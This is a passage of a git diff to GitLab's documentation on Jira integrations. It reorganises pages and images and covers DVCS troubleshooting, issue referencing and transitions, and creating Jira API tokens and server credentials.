+ - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to
+ also trust public certificate authorities.
+ - If the integration stops working after upgrading Jira's Java runtime, the
+ `cacerts` Truststore may have been replaced during the upgrade.
+
+- Troubleshooting connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html),
+ using the a java class called `SSLPoke`.
+- Download the class from Atlassian's knowledge base to a directory on Jira's server, such as `/tmp`.
+- Use the same Java runtime as Jira.
+- Pass all networking-related parameters that Jira is called with, such as proxy
+ settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`):
+
+```shell
+${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443
+```
+
+The message `Successfully connected` indicates a successful TLS handshake.
+
+If there are problems, the Java TLS library generates errors that you can
+look up for more detail.
+
+### Scope error when connecting Jira via DVCS
+
+```plaintext
+The requested scope is invalid, unknown, or malformed.
+```
+
+Potential resolutions:
+
+1. Verify that the URL shown in the browser after being redirected from Jira in the
+ [Jira DVCS connector setup](#configure-jira-for-dvcs) includes `scope=api` in
+ the query string.
+1. If `scope=api` is missing from the URL, edit the
+ [GitLab account configuration](#configure-a-gitlab-application-for-dvcs). Review
+ the **Scopes** field and ensure the `api` check box is selected.
+
+### Jira error adding account and no repositories listed
+
+After you complete the **Add New Account** form in Jira and authorize access, you might
+encounter these issues:
+
+- An `Error! Failed adding the account: [Error retrieving list of repositories]` error.
+- An `Account is already integrated with JIRA` error when you click **Try Again**.
+- An account is visible in the DVCS accounts view, but no repositories are listed.
+
+To resolve this issue:
+
+- If you're using GitLab Free or GitLab Starter, be sure you're using
+ GitLab 13.4 or later.
+- *If you're using GitLab versions 11.10-12.7,* upgrade to GitLab 12.8.10 or later
+ to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012).
+
+[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply.
+
+### Fix synchronization issues
+
+If Jira displays incorrect information, such as deleted branches, you may need to
+resynchronize the information. To do so:
+
+1. In Jira, go to **Jira Administration > Applications > DVCS accounts**.
+1. At the account (group or subgroup) level, Jira displays an option to
+ **Refresh repositories** in the **{ellipsis_h}** (ellipsis) menu.
+1. For each project, there's a sync button displayed next to the **last activity** date.
+ - To perform a *soft resync*, click the button.
+ - To complete a *full sync*, shift-click the button.
+
+For more information, read
+[Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/).
diff --git a/doc/integration/jira/img/jira-upload-app-success_v13_11.png b/doc/integration/jira/img/jira-upload-app-success_v13_11.png
new file mode 100644
index 00000000000..c0d4c9744b6
--- /dev/null
+++ b/doc/integration/jira/img/jira-upload-app-success_v13_11.png
Binary files differ
diff --git a/doc/integration/jira/img/jira-upload-app_v13_11.png b/doc/integration/jira/img/jira-upload-app_v13_11.png
new file mode 100644
index 00000000000..88d1573f778
--- /dev/null
+++ b/doc/integration/jira/img/jira-upload-app_v13_11.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_added_user_to_group.png b/doc/integration/jira/img/jira_added_user_to_group.png
index f5120a8d42e..f5120a8d42e 100644
--- a/doc/user/project/integrations/img/jira_added_user_to_group.png
+++ b/doc/integration/jira/img/jira_added_user_to_group.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_create_new_group.png b/doc/integration/jira/img/jira_create_new_group.png
index 4ab7a5eae4e..4ab7a5eae4e 100644
--- a/doc/user/project/integrations/img/jira_create_new_group.png
+++ b/doc/integration/jira/img/jira_create_new_group.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_jira_setup_3.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_3.png
index 4049a65f56b..4049a65f56b 100644
--- a/doc/integration/img/jira_dev_panel_jira_setup_3.png
+++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_3.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_jira_setup_4.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_4.png
index 81d84cb173d..81d84cb173d 100644
--- a/doc/integration/img/jira_dev_panel_jira_setup_4.png
+++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_4.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_jira_setup_5.png b/doc/integration/jira/img/jira_dev_panel_jira_setup_5.png
index 73dc867d301..73dc867d301 100644
--- a/doc/integration/img/jira_dev_panel_jira_setup_5.png
+++ b/doc/integration/jira/img/jira_dev_panel_jira_setup_5.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_manual_refresh.png b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png
index dc92d533bde..dc92d533bde 100644
--- a/doc/integration/img/jira_dev_panel_manual_refresh.png
+++ b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_setup_com_1.png b/doc/integration/jira/img/jira_dev_panel_setup_com_1.png
index 18f0d5da043..18f0d5da043 100644
--- a/doc/integration/img/jira_dev_panel_setup_com_1.png
+++ b/doc/integration/jira/img/jira_dev_panel_setup_com_1.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_setup_com_2.png b/doc/integration/jira/img/jira_dev_panel_setup_com_2.png
index 31dc13e1271..31dc13e1271 100644
--- a/doc/integration/img/jira_dev_panel_setup_com_2.png
+++ b/doc/integration/jira/img/jira_dev_panel_setup_com_2.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png b/doc/integration/jira/img/jira_dev_panel_setup_com_3_v13_9.png
index fe791637d31..fe791637d31 100644
--- a/doc/integration/img/jira_dev_panel_setup_com_3_v13_9.png
+++ b/doc/integration/jira/img/jira_dev_panel_setup_com_3_v13_9.png
Binary files differ
diff --git a/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png b/doc/integration/jira/img/jira_dev_panel_setup_com_4_v13_9.png
index 08787f12b67..08787f12b67 100644
--- a/doc/integration/img/jira_dev_panel_setup_com_4_v13_9.png
+++ b/doc/integration/jira/img/jira_dev_panel_setup_com_4_v13_9.png
Binary files differ
diff --git a/doc/integration/jira/img/jira_group_access.png b/doc/integration/jira/img/jira_group_access.png
new file mode 100644
index 00000000000..42a9b4ae564
--- /dev/null
+++ b/doc/integration/jira/img/jira_group_access.png
Binary files differ
diff --git a/doc/integration/jira/img/jira_issue_detail_view_v13.10.png b/doc/integration/jira/img/jira_issue_detail_view_v13.10.png
new file mode 100644
index 00000000000..bf1607a35fe
--- /dev/null
+++ b/doc/integration/jira/img/jira_issue_detail_view_v13.10.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_issue_reference.png b/doc/integration/jira/img/jira_issue_reference.png
index db8bc4f0bb9..db8bc4f0bb9 100644
--- a/doc/user/project/integrations/img/jira_issue_reference.png
+++ b/doc/integration/jira/img/jira_issue_reference.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_merge_request_close.png b/doc/integration/jira/img/jira_merge_request_close.png
index 9a176daf5f4..9a176daf5f4 100644
--- a/doc/user/project/integrations/img/jira_merge_request_close.png
+++ b/doc/integration/jira/img/jira_merge_request_close.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_project_settings.png b/doc/integration/jira/img/jira_project_settings.png
index d96002b7db8..d96002b7db8 100644
--- a/doc/user/project/integrations/img/jira_project_settings.png
+++ b/doc/integration/jira/img/jira_project_settings.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_service_close_issue.png b/doc/integration/jira/img/jira_service_close_issue.png
index 73d6498192c..73d6498192c 100644
--- a/doc/user/project/integrations/img/jira_service_close_issue.png
+++ b/doc/integration/jira/img/jira_service_close_issue.png
Binary files differ
diff --git a/doc/user/project/integrations/img/jira/open_jira_issues_list_v13.2.png b/doc/integration/jira/img/open_jira_issues_list_v13.2.png
index 0cf58433b25..0cf58433b25 100644
--- a/doc/user/project/integrations/img/jira/open_jira_issues_list_v13.2.png
+++ b/doc/integration/jira/img/open_jira_issues_list_v13.2.png
Binary files differ
diff --git a/doc/integration/jira/index.md b/doc/integration/jira/index.md
new file mode 100644
index 00000000000..221e50e5d66
--- /dev/null
+++ b/doc/integration/jira/index.md
@@ -0,0 +1,91 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Jira integrations **(FREE)**
+
+If your organization uses [Jira](https://www.atlassian.com/software/jira) issues,
+you can [migrate](../../user/project/import/jira.md) your issues from Jira and work
+exclusively in GitLab. However, if you'd like to continue to use Jira, you can
+integrate it with GitLab. GitLab offers two types of Jira integrations, and you
+can use one or both depending on the capabilities you need.
+
+## Compare Jira integrations
+
+After you set up one or both of these integrations, you can cross-reference activity
+in your GitLab project with any of your projects in Jira.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be).
+
+### Per-project Jira integration
+
+This integration connects a single GitLab project to a Jira instance. The Jira instance
+can be hosted by you or in [Atlassian cloud](https://www.atlassian.com/cloud):
+
+- *If your installation uses Jira Cloud,* use the
+ [GitLab for Jira app](connect-app.md).
+- *If either your Jira or GitLab installation is self-managed,* use the
+ [Jira DVCS Connector](dvcs.md).
+
+### Jira development panel integration
+
+The [Jira development panel integration](development_panel.md)
+connects all GitLab projects under a group or personal namespace. When configured,
+relevant GitLab information, including related branches, commits, and merge requests,
+displays in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/).
+
+### Direct feature comparison
+
+| Capability | Jira integration | Jira Development panel integration |
+|-|-|-|
+| Mention a Jira issue ID in a GitLab commit or merge request, and a link to the Jira issue is created. | Yes. | No. |
+| Mention a Jira issue ID in GitLab and the Jira issue shows the GitLab issue or merge request. | Yes. A Jira comment with the GitLab issue or MR title links to GitLab. The first mention is also added to the Jira issue under **Web links**. | Yes, in the issue's Development panel. |
+| Mention a Jira issue ID in a GitLab commit message and the Jira issue shows the commit message. | Yes. The entire commit message is displayed in the Jira issue as a comment and under **Web links**. Each message links back to the commit in GitLab. | Yes, in the issue's Development panel and optionally with a custom comment on the Jira issue using Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html). |
+| Mention a Jira issue ID in a GitLab branch name and the Jira issue shows the branch name. | No. | Yes, in the issue's [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/). |
+| Add Jira time tracking to an issue. | No. | Yes. Time can be specified using Jira Smart Commits. |
+| Use a Git commit or merge request to transition or close a Jira issue. | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. |
+| Display a list of Jira issues. | Yes. **(PREMIUM)** | No. |
+| Create a Jira issue from a vulnerability or finding. **(ULTIMATE)** | Yes. | No. |
+
+## Authentication in Jira
+
+The process for configuring Jira depends on whether you host Jira on your own server or on
+[Atlassian cloud](https://www.atlassian.com/cloud):
+
+- **Jira Server** supports basic authentication. When connecting, a **username and password** are
+ required. Connecting to Jira Server via CAS is not possible. For more information, read
+ how to [set up a user in Jira Server](jira_server_configuration.md).
+- **Jira on Atlassian cloud** supports authentication through an API token. When connecting to Jira on
+ Atlassian cloud, an email and API token are required. For more information, read
+ [set up a user in Jira on Atlassian cloud](jira_cloud_configuration.md).
+
+## Troubleshooting
+
+If these features do not work as expected, it is likely due to a problem with the way the integration settings were configured.
+
+### GitLab is unable to comment on a Jira issue
+
+Make sure that the Jira user you set up for the integration has the
+correct access permission to post comments on a Jira issue and also to transition
+the issue, if you'd like GitLab to also be able to do so.
+Jira issue references and update comments do not work if the GitLab issue tracker is disabled.
+
+### GitLab is unable to close a Jira issue
+
+Make sure the `Transition ID` you set within the Jira settings matches the one
+your project needs to close an issue.
+
+Make sure that the Jira issue is not already marked as resolved; that is,
+the Jira issue resolution field is not set. (It should not be struck through in
+Jira lists.)
+
+### CAPTCHA
+
+CAPTCHA may be triggered after several consecutive failed login attempts
+which may lead to a `401 unauthorized` error when testing your Jira integration.
+If CAPTCHA has been triggered, you can't use Jira's REST API to
+authenticate with the Jira site. You need to log in to your Jira instance
+and complete the CAPTCHA.
diff --git a/doc/integration/jira/issues.md b/doc/integration/jira/issues.md
new file mode 100644
index 00000000000..d2cab59742b
--- /dev/null
+++ b/doc/integration/jira/issues.md
@@ -0,0 +1,173 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Jira integration issue management **(FREE)**
+
+By now you should have [configured Jira](development_panel.md#configuration) and enabled the
+[Jira service in GitLab](development_panel.md#configure-gitlab). If everything is set up correctly
+you should be able to reference and close Jira issues by just mentioning their
+ID in GitLab commits and merge requests.
+
+Jira issue IDs must be formatted in uppercase for the integration to work.
+
+## Reference Jira issues
+
+When GitLab project has Jira issue tracker configured and enabled, mentioning
+Jira issues in GitLab automatically adds a comment in Jira issue with the
+link back to GitLab. This means that in comments in merge requests and commits
+referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the
+format:
+
+```plaintext
+USER mentioned this issue in RESOURCE_NAME of [PROJECT_NAME|LINK_TO_COMMENT]:
+ENTITY_TITLE
+```
+
+- `USER` A user that mentioned the issue. This is the link to the user profile in GitLab.
+- `LINK_TO_THE_COMMENT` Link to the origin of mention with a name of the entity where Jira issue was mentioned.
+- `RESOURCE_NAME` Kind of resource which referenced the issue. Can be a commit or merge request.
+- `PROJECT_NAME` GitLab project name.
+- `ENTITY_TITLE` Merge request title or commit message first line.
+
+![example of mentioning or closing the Jira issue](img/jira_issue_reference.png)
+
+For example, the following commit references the Jira issue with `PROJECT-1` as its ID:
+
+```shell
+git commit -m "PROJECT-1 Fix spelling and grammar"
+```
+
+## Close Jira issues
+
+Jira issues can be closed directly from GitLab by using trigger words in
+commits and merge requests. When a commit which contains the trigger word
+followed by the Jira issue ID in the commit message is pushed, GitLab
+adds a comment in the mentioned Jira issue and immediately closes it (provided
+the transition ID was set up correctly).
+
+There are currently three trigger words, and you can use either one to achieve
+the same goal:
+
+- `Resolves PROJECT-1`
+- `Closes PROJECT-1`
+- `Fixes PROJECT-1`
+
+where `PROJECT-1` is the ID of the Jira issue.
+
+Note the following:
+
+- Only commits and merges into the project's default branch (usually `master`)
+ close an issue in Jira. You can change your project's default branch under
+ [project settings](img/jira_project_settings.png).
+- The Jira issue is not transitioned if it has a resolution.
+
+Let's consider the following example:
+
+1. For the project named `PROJECT` in Jira, we implemented a new feature
+ and created a merge request in GitLab.
+1. This feature was requested in Jira issue `PROJECT-7` and the merge request
+ in GitLab contains the improvement
+1. In the merge request description we use the issue closing trigger
+ `Closes PROJECT-7`.
+1. Once the merge request is merged, the Jira issue is automatically closed
+ with a comment and an associated link to the commit that resolved the issue.
+
+In the following screenshot you can see what the link references to the Jira
+issue look like.
+
+![A Git commit that causes the Jira issue to be closed](img/jira_merge_request_close.png)
+
+Once this merge request is merged, the Jira issue is automatically closed
+with a link to the commit that resolved the issue.
+
+![The GitLab integration closes Jira issue](img/jira_service_close_issue.png)
+
+## View Jira issues **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3622) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+
+You can browse, search, and view issues from a selected Jira project directly in GitLab,
+if your GitLab administrator [has configured it](development_panel.md#configure-gitlab):
+
+1. In the left navigation bar, go to **Jira > Issues list**.
+1. The issue list sorts by **Created date** by default, with the newest issues listed at the top:
+
+ ![Jira issues integration enabled](img/open_jira_issues_list_v13.2.png)
+
+1. To display the most recently updated issues first, click **Last updated**.
+1. In GitLab versions 13.10 and later, you can view [individual Jira issues](#view-a-jira-issue).
+
+Issues are grouped into tabs based on their [Jira status](https://confluence.atlassian.com/adminjiraserver070/defining-status-field-values-749382903.html):
+
+- The **Open** tab displays all issues with a Jira status in any category other than Done.
+- The **Closed** tab displays all issues with a Jira status categorized as Done.
+- The **All** tab displays all issues of any status.
+
+## View a Jira issue
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299832) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10 behind a feature flag, disabled by default.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299832) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11.
+
+When viewing the [Jira issues list](#view-jira-issues), select an issue from the
+list to open it in GitLab:
+
+![Jira issue detail view](img/jira_issue_detail_view_v13.10.png)
+
+## Search and filter the issues list
+
+To refine the list of issues, use the search bar to search for any text
+contained in an issue summary (title) or description.
+
+You can also filter by labels, status, reporter, and assignee using URL parameters.
+Enhancements to be able to use these through the user interface are [planned](https://gitlab.com/groups/gitlab-org/-/epics/3622).
+
+- To filter issues by `labels`, specify one or more labels as part of the `labels[]`
+parameter in the URL. When using multiple labels, only issues that contain all specified
+labels are listed. `/-/integrations/jira/issues?labels[]=backend&labels[]=feature&labels[]=QA`
+
+- To filter issues by `status`, specify the `status` parameter in the URL.
+`/-/integrations/jira/issues?status=In Progress`
+
+- To filter issues by `reporter`, specify a reporter's Jira display name for the
+`author_username` parameter in the URL. `/-/integrations/jira/issues?author_username=John Smith`
+
+- To filter issues by `assignee`, specify their Jira display name for the
+`assignee_username` parameter in the URL. `/-/integrations/jira/issues?assignee_username=John Smith`
+
+## Automatic issue transitions
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/...) in GitLab 13.10.
+
+In this mode the referenced Jira issue is transitioned to the next available status with a category of "Done".
+
+See the [Configure GitLab](development_panel.md#configure-gitlab) section, check the **Enable Jira transitions** setting and select the **Move to Done** option.
+
+## Custom issue transitions
+
+For advanced workflows you can specify custom Jira transition IDs.
+
+See the [Configure GitLab](development_panel.md#configure-gitlab) section, check the **Enable Jira transitions** setting, select the **Custom transitions** option, and enter your transition IDs in the text field.
+
+If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. If a transition fails the sequence is aborted.
+
+To see the transition IDs on Jira Cloud, edit a workflow in the **Text** view.
+The transition IDs display in the **Transitions** column.
+
+On Jira Server you can get the transition IDs in either of the following ways:
+
+1. By using the API, with a request like `https://yourcompany.atlassian.net/rest/api/2/issue/ISSUE-123/transitions`
+ using an issue that is in the appropriate "open" state
+1. By mousing over the link for the transition you want and looking for the
+ "action" parameter in the URL
+
+Note that the transition ID may vary between workflows (for example, bug vs. story),
+even if the status you are changing to is the same.
+
+## Disabling comments on Jira issues
+
+You can continue to have GitLab cross-link a source commit/MR with a Jira issue while disabling the comment added to the issue.
+
+See the [Configure GitLab](development_panel.md#configure-gitlab) section and uncheck the **Enable comments** setting.
diff --git a/doc/integration/jira/jira_cloud_configuration.md b/doc/integration/jira/jira_cloud_configuration.md
new file mode 100644
index 00000000000..fd58b3f33f7
--- /dev/null
+++ b/doc/integration/jira/jira_cloud_configuration.md
@@ -0,0 +1,22 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Create an API token in Jira on Atlassian cloud **(FREE)**
+
+You need an API token to [integrate with Jira](../../user/project/integrations/jira.md)
+on Atlassian cloud. To create the API token:
+
+1. Sign in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens)
+ with your email address. Use an account with *write* access to Jira projects.
+1. Go to **Settings > API tokens**.
+1. Select **Create API token** to display a modal window with an API token.
+1. To copy the API token, select **Copy to clipboard**, or select **View** and write
+ down the new API token. You need this value when you
+ [configure GitLab](development_panel.md#configure-gitlab).
+
+You need the newly created token, and the email
+address you used when you created it, when you
+[configure GitLab](development_panel.md#configure-gitlab).
diff --git a/doc/integration/jira/jira_server_configuration.md b/doc/integration/jira/jira_server_configuration.md
new file mode 100644
index 00000000000..3573a1f8b1e
--- /dev/null
+++ b/doc/integration/jira/jira_server_configuration.md
@@ -0,0 +1,83 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Jira Server credentials **(FREE)**
+
+To [integrate Jira with GitLab](../../user/project/integrations/jira.md), you must
+create a Jira user account for your Jira projects to access projects in GitLab.
+This Jira user account must have write access to your Jira projects. To create the
+credentials, you must:
+
+1. [Create a Jira Server user](#create-a-jira-server-user).
+1. [Create a Jira Server group](#create-a-jira-server-group) for the user to belong to.
+1. [Create a permission scheme for your group](#create-a-permission-scheme-for-your-group).
+
+## Create a Jira Server user
+
+This process creates a user named `gitlab` and adds it to a new group named `gitlab-developers`:
+
+1. Sign in to your Jira instance as an administrator.
+1. In the upper right corner of the top menu, go to the gear icon and
+ select **User Management**.
+1. Create a new user account (`gitlab`) with write access to
+ projects in Jira.
+ - **Email address**: Jira requires a valid email address, and sends a verification
+ email, which you need to set up the password.
+ - **Username**: Jira creates the username by using the email prefix. You can change
+ this username later.
+ - **Password**: You must create a password, because the GitLab integration doesn't
+ support SSO, such as SAML. To create the password, visit the user profile, look up
+ the username, and set a password.
+1. Select **Create user**.
+
+After you create the user, create a group for it.
+
+## Create a Jira Server group
+
+After you [create a Jira Server user](#create-a-jira-server-user), you can create a
+group to assign permissions to the user:
+
+1. Sign in to your Jira instance as an administrator.
+1. In the upper right corner of the top menu, go to the gear icon and
+ select **User Management**.
+1. From the sidebar, select **Groups**.
+
+ ![Jira create new user](img/jira_create_new_group.png)
+
+1. In the **Add group** section, enter a **Name** for the group (for example,
+ `gitlab-developers`), and then select **Add group**.
+1. To add the `gitlab` user to the `gitlab-developers` group, select **Edit members**.
+ The `gitlab-developers` group should be listed in the leftmost box as a
+ selected group.
+1. In the **Add members to selected group(s)** area, enter `gitlab`.
+1. Select **Add selected users**.
+Jira saves your selection, and `gitlab` should appear in the **Group member(s)**
+area.
+
+![Jira added user to group](img/jira_added_user_to_group.png)
+
+Next, create a permission scheme for your group.
+
+## Create a permission scheme for your group
+
+After creating the group in Jira, grant permissions to the group by creating a permission scheme:
+
+1. Sign in to your Jira instance as an administrator.
+1. In the upper right corner of the top menu, go to the gear icon and
+ select **Issues**.
+1. From the sidebar, select **Permission Schemes**.
+1. Select **Add Permission Scheme**, enter a **Name** and (optionally) a
+ **Description**, and then select **Add**.
+1. In the permissions scheme list, locate your new permissions scheme, and
+ select **Permissions**.
+1. Next to **Administer Projects**, select **Edit**. In
+ the **Group** list, select `gitlab-developers`.
+
+ ![Jira group access](img/jira_group_access.png)
+
+Write down the new Jira username and its
+password, as you need them when
+[configuring GitLab](development_panel.md#configure-gitlab).
diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md
index 59a96970d75..152c1df3538 100644
--- a/doc/integration/jira_development_panel.md
+++ b/doc/integration/jira_development_panel.md
@@ -1,327 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'jira/index.md'
---
-# GitLab Jira Development Panel integration **(FREE)**
+This document was moved to [another location](jira/index.md).
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/233149) to GitLab Free in 13.4.
-
-The Jira Development Panel integration allows you to reference Jira issues in GitLab, displaying
-activity in the [Development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/)
-in the issue.
-
-It complements the [GitLab Jira integration](../user/project/integrations/jira.md). You may choose
-to configure both integrations to take advantage of both sets of features. See a
-[feature comparison](../user/project/integrations/jira_integrations.md#feature-comparison).
-
-Depending on your environment, you can enable this integration by either:
-
-- Configuring [the Jira DVCS connector](#jira-dvcs-configuration).
-- Using the [GitLab for Jira app](#gitlab-for-jira-app) in the Atlassian Marketplace.
-
-See the [Configuration](#configuration) section for details.
-
-## Features
-
-| Your mention of Jira issue ID in GitLab context | Automated effect in Jira issue |
-|---------------------------------------------------|--------------------------------------------------------------------------------------------------------|
-| In a merge request | Link to the MR is displayed in Development panel. |
-| In a branch name | Link to the branch is displayed in Development panel. |
-| In a commit message | Link to the commit is displayed in Development panel. |
-| In a commit message with Jira Smart Commit format | Displays your custom comment or logged time spent and/or performs specified issue transition on merge. |
-
-With this integration, you can access related GitLab merge requests, branches, and commits directly from a Jira issue, reflecting your work in GitLab. From the Development panel, you can open a detailed view and take actions including creating a new merge request from a branch. For more information, see [Usage](#usage).
-
-This integration connects all GitLab projects to projects in the Jira instance in either:
-
-- A top-level group. A top-level GitLab group is one that does not have any parent group itself. All
- the projects of that top-level group, as well as projects of the top-level group's subgroups nesting
- down, are connected.
-- A personal namespace, which then connects the projects in that personal namespace to Jira.
-
-This differs from the [Jira integration](../user/project/integrations/jira.md), where the mapping is between one GitLab project and the entire Jira instance.
-
-## Configuration
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Agile Management - GitLab-Jira Development Panel Integration](https://www.youtube.com/watch?v=VjVTOmMl85M&feature=youtu.be).
-
-If you're using:
-
-- GitLab.com and Jira Cloud, we recommend you enable this integration by installing the
- [GitLab for Jira app](#gitlab-for-jira-app) from the Atlassian Marketplace, which offers a real-time
- sync between GitLab and Jira.
-- Self-managed GitLab, self-managed Jira, or both, configure the integration using
- [Jira's DVCS Connector](#jira-dvcs-configuration), which syncs data hourly.
-
-We recommend that a GitLab group maintainer or group owner, or instance administrator (in the case of
-self-managed GitLab) set up the integration to simplify administration.
-
-### Jira DVCS configuration
-
-If you're using GitLab.com and Jira Cloud, use the
-[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector.
-
-When configuring Jira DVCS Connector:
-
-- If you are using self-managed GitLab, make sure your GitLab instance is accessible by Jira.
-- If you're connecting to Jira Cloud, ensure your instance is accessible through the internet.
-- If you are using Jira Server, make sure your instance is accessible however your network is set up.
-
-#### GitLab account configuration for DVCS
-
-NOTE:
-To ensure that regular user account maintenance doesn't impact your integration,
-create and use a single-purpose `jira` user in GitLab.
-
-1. In GitLab, create a new application to allow Jira to connect with your GitLab account.
-1. Sign in to the GitLab account that you want Jira to use to connect to GitLab.
-1. In the top-right corner, select your avatar.
-1. Select **Edit profile**.
-1. In the left sidebar, select **Applications**.
-1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`.
-1. In the **Redirect URI** field, enter `https://<gitlab.example.com>/login/oauth/callback`,
- replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com,
- this would be `https://gitlab.com/login/oauth/callback`.
-
- NOTE:
- If using a GitLab version earlier than 11.3, the `Redirect URI` must be
- `https://<gitlab.example.com>/-/jira/login/oauth/callback`. If you want Jira
- to have access to all projects, GitLab recommends that an administrator create the
- application.
-
- ![GitLab application setup](img/jira_dev_panel_gl_setup_1.png)
-
-1. Check **API** in the **Scopes** section, and clear any other checkboxes.
-1. Click **Save application**. GitLab displays the generated **Application ID**
- and **Secret** values. Copy these values, which you use in Jira.
-
-#### Jira DVCS Connector setup
-
-If you're using GitLab.com and Jira Cloud, use the
-[GitLab for Jira app](#gitlab-for-jira-app) unless you have a specific need for the DVCS Connector.
-
-1. Ensure you have completed the [GitLab configuration](#gitlab-account-configuration-for-dvcs).
-1. If you're using Jira Server, go to **Settings (gear) > Applications > DVCS accounts**.
- If you're using Jira Cloud, go to **Settings (gear) > Products > DVCS accounts**.
-1. Click **Link GitHub Enterprise account** to start creating a new integration.
- (We're pretending to be GitHub in this integration, until there's additional platform support in Jira.)
-1. Complete the form:
-
-1. Select **GitHub Enterprise** for the **Host** field.
-
-1. In the **Team or User Account** field, enter either:
-
- - The relative path of a top-level GitLab group that you have access to.
- - The relative path of your personal namespace.
-
- ![Creation of Jira DVCS integration](img/jira_dev_panel_jira_setup_2.png)
-
-1. In the **Host URL** field, enter `https://<gitlab.example.com>/`,
- replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com,
- this would be `https://gitlab.com/`.
-
- NOTE:
- If using a GitLab version earlier than 11.3 the **Host URL** value should be `https://<gitlab.example.com>/-/jira`
-
-1. For the **Client ID** field, use the **Application ID** value from the previous section.
-
-1. For the **Client Secret** field, use the **Secret** value from the previous section.
-
-1. Ensure that the rest of the checkboxes are checked.
-
-1. Click **Add** to complete and create the integration.
-
- Jira takes up to a few minutes to know about (import behind the scenes) all the commits and branches
- for all the projects in the GitLab group you specified in the previous step. These are refreshed
- every 60 minutes.
-
- In the future, we plan on implementing real-time integration. If you need
- to refresh the data manually, you can do this from the `Applications -> DVCS
- accounts` screen where you initially set up the integration:
-
- ![Refresh GitLab information in Jira](img/jira_dev_panel_manual_refresh.png)
-
-To connect additional GitLab projects from other GitLab top-level groups (or personal namespaces), repeat the previous
-steps with additional Jira DVCS accounts.
-
-Now that the integration is configured, read more about how to test and use it in [Usage](#usage).
-
-#### Troubleshooting your DVCS connection
-
-Refer to the items in this section if you're having problems with your DVCS connector.
-
-##### Jira cannot access GitLab server
-
-```plaintext
-Error obtaining access token. Cannot access https://gitlab.example.com from Jira.
-```
-
-This error message is generated in Jira, after completing the **Add New Account**
-form and authorizing access. It indicates a connectivity issue from Jira to
-GitLab. No other error messages appear in any logs.
-
-If there was an issue with SSL/TLS, this error message is generated.
-
-- The [GitLab Jira integration](../user/project/integrations/jira.md) requires GitLab to connect to Jira. Any
- TLS issues that arise from a private certificate authority or self-signed
